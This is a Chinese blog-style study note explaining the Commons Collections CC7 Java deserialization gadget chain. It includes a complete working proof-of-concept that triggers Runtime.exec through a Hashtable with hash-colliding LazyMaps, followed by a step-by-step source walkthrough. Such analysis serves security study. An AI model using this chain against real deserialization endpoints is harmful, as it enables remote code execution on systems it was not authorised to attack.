java反序列化--CC7

java反序列化–CC7

利用条件 和CC5一样

只有:3.1>Common-Collection<=3.2.1&&Commons-Collections=4.0

POC

package example;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;


// 基于Hashtable的利用链

public class CC7 {

public static void main(String[] args) throws Exception {
//构造核心利用代码
final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
new ConstantTransformer(1)};

//使用Hashtable来构造利用链调用LazyMap
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.lazyMap(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.lazyMap(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");
//输出两个元素的hash值 这里可以不要
System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());


//iTransformers = transformers(反射)
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);

//序列化 --> 反序列化(hashtable)
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

注意这里的 “yy” “zZ” 是不能更改的 是hash计算出的结果 我最开始以为是随便加的 更改了导致不能调出计算器 这个我们后面会说

image-20240605211746861

链子分析

从思路上来说,我个人觉得CC7利用链更像是从CC6利用链改造而来,只不过是CC7链没有使用HashSet,而是使用了Hashtable来构造新的利用链

  • 使用Transformer数组来构造利用代码,然后通过反射将transformers数组设置给ChaniedTransformer类的iTransformers属性,这一步和CC6利用链的构造思路上基本一致,没什么好说的。

  • 在构造利用链时,CC7仍然使用了LazyMap来构造利用链,不同的是,CC7使用了新的链Hashtable来触发LazyMap利用链,最终执行核心利用代码。

我们重点来看Hashtable是如何构造利用链的

先来看Hashtable序列化过程(writeObject)

image-20240605220125218

Hashtable有一个Entry<?,?>[]类型的table属性,并且还是一个数组,用于存放元素(键值对)。Hashtable在序列化时会先把table数组的容量写入到序列化流中,再写入table数组中的元素个数,然后将table数组中的元素取出写入到序列化流中。

image-20240605223734999

我们再回头看Hashtable的反序列化流程(readObject):

image-20240605233043585

截不完

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}

我们可以看到:

Hashtable会先从反序列化流中读取table数组的容量和元素个数,并根据origlength 和elements 计算出table数组的length,再根据计算得到的length来创建table数组(origlength 和elements可以决定table数组的大小),然后从反序列化流中依次读取每个元素,然后调用reconstitutionPut方法将元素重新放入table数组(Hashtable的table属性),最终完成反序列化。

这里唯一不知道的就是reconstitutionPut方法 我们点进去看下

image-20240605234112818

它首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在tab数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到tabl数组中

而CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞

e.key.equals()调用了LazyMap的equals方法,但是LazyMap中并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法,虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法
image-20240607193313805

image-20240607201041534

:在添加第一个元素时并不会进入if语句调用equals方法进行判断,因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞

因为其中 if ((e.hash == hash) && e.key.equals(key)), 存在着一个短路,就是如果 e.hash!=hash 的话会直接返回 false, 就不会执行到我们想要的 e.key.equals

好 我们再来看 e 是哪里来的,**e = tab[index]**,我们一路追踪,发现 table 是从 readObject 跟进来的一个新 Entry

image-20240607194358833

image-20240607195400775

但是它并没有设置 hash 这种东西,所以我们只能从这里下手

image-20240607200300450

这里有hash 可以来创建 它会根据我们传入的 map 的来创建一个和当前 map 存在相同 hash 的一个 entry

好 我们继续分析链子

回到AbstractMapDecorator的equals方法

image-20240607201135075

AbstractMapDecorator类的equals方法只比较了这两个key的引用,如果不是同一对象会再次调用equals方法,map属性是通过LazyMap传递的,我们在构造利用链的时候,通过LazyMap的静态方法decorate将HashMap传给了map属性,因此这里会调用HashMap的equals方法。

但是HashMap中并没有找到一个名字为equals的成员方法,但是通过分析发现HashMap继承了AbstractMap抽象类,该类中有一个equals方法

image-20240607202001366

抽象类AbstractMap的equals方法进行了更为复杂的判断:

  • 判断是否为同一对象

  • 判断对象的运行类型

  • 判断Map中元素的个数

当以上三个判断都不满足的情况下,则进一步判断Map中的元素,也就是判断元素的key和value的内容是否相同,在value不为null的情况下,m会调用get方法获取key的内容,虽然对象o向上转型成Map类型,但是m对象本质上是一个LazyMap。因此m对象调用get方法时实际上是调用了LazyMap的get方法。
image-20240607202627018

调到了get的话链子其实就通了

调用流程:

Hashtable.readObject->
Hashtable.reconstitutionPut->
AbstractMapDecorator.equals->
AbstractMap.equals->
...

后续其实就一样了—沿着 LazyMap.get () 方法继续往下写的

细节处理

为什么要hash值相同

其实几乎就是我们上面里写的 一模一样

我这里复制下来 继续分析

其中 if ((e.hash == hash) && e.key.equals(key)), 存在着一个短路,就是如果 e.hash!=hash 的话会直接返回 false, 就不会执行到我们想要的 e.key.equals

好 我们再来看 e 是哪里来的,**e = tab[index]**,我们一路追踪,发现 table 是从 readObject 跟进来的一个新 Entry

image-20240607194358833

image-20240607195400775

但是它并没有设置 hash 这种东西,所以我们只能从这里下手

image-20240607200300450

这里有hash 可以来创建 它会根据我们传入的 map 的来创建一个和当前 map 存在相同 hash 的一个 entry

我们在回头来看 readObject

image-20240607204126437

重点看下这个for循环

他将 Hashtable 中的所有 map 都甩进了 reconstitutionPut 方法一次

我们需要甩两个 LazyMap 进 Hashtable 中,这样才能正常的进入我们想要的 equals 方法

这样就有了:

Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.lazyMap(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.lazyMap(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");

这里两个 map 的 key 值和 value 值不能同时相同,同时相同则无法进入 if 判断,因为在 readObject 中 element 计算会把两个 map 计算为只有一个 map,从而只进行一次循环

在 Java 中 zZ 和 yy 的 hash 值相同,所以就拿这两个来进行比较

为什么这两个LazyMap的hash值是一样的?继续跟踪hash方法,发现当LazyMap调用hashCode方法,实际上会调用AbstractMap抽象类的hashCode方法

image-20240607205106642

AbstractMap抽象类的hashCode方法实际调用了HashMap中的元素(yy=1)的hashCode方法,准确来说是Node节点的hashCode方法

image-20240607205238318

Node类调用了Objects类的hashCode静态方法计算key和value的hash值,然后再进行异或运算得到一个新的hash值

image-20240607205607320

继续跟进Objects类的hashCode静态方法

image-20240607205741486

到这我们基本可以知道,实际上底层调用了字符串“yy”的包装类String的hashCode方法,hashCode方法通过字符的ascii码值计算得到一个3872的hash值。

hash计算过程:

image-20240607210154046

第一次计算的时候val[i]的值是小写字母y,y的ascii码值就是121,h值为121。

第二次计算的时候val[i]的值是还是小写的字母y,h的值为3872=31*121+121,最终得到hash值为3872。

然后返回到Node类中的hashCode方法,进行亦或运算得到一个3873新的hash值并返回到AbstractMap类的hashCode方法中,最终lazyMap1的hash值就是3873

其他的同理

所以hash(yy)=hash(zZ)

lazyMap中元素的key值是经过精心构造的,其目的就是为了构造两个hash值相同的key,从而触发漏洞

其实key的字符串是可以替换的,但key中的字符串的hash值必须相同,例如把key的字符串改成以下值同样也可以触发漏洞

hash(Ea)=hash(FB)

第二个元素(yy=yy)从何而来

我们可以看到Hashtable在添加第二个元素时,lazyMap2集合会“莫名其妙”添加一个元素(yy->yy)

image-20240607210948770

这其实是Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy->yy)

例如Hashtable调用put方法添加第二个元素(lazyMap2,1)的时候,该方法内部会调用equals方法根据元素的key判断是否为同一元素

image-20240607211129313

此时的key是lazyMap2对象,而lazyMap2实际上调用了AbstractMap抽象类的equals方法,equals方法内部会调用lazyMap2的get方法判断table数组中元素的key在lazyMap2是否已存在,如果不存在,transform会把当前传入的key返回作为value,然后lazyMap2会调用put方法把key和value(yy=yy)添加到lazyMap2。

当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。

回到AbstractMap.equals

image-20240607211636416

因此在构造CC7利用链的payload代码时,Hashtable在添加第二个元素后,lazyMap2需要调用remove方法删除元素(yy->yy)才能触发漏洞。

lazyMap2.remove("yy");

好 CC7差不多就这样吧

其实整个CC链还是有点不熟 应该还要再花点时间来总结沉淀一下

会写一个总结的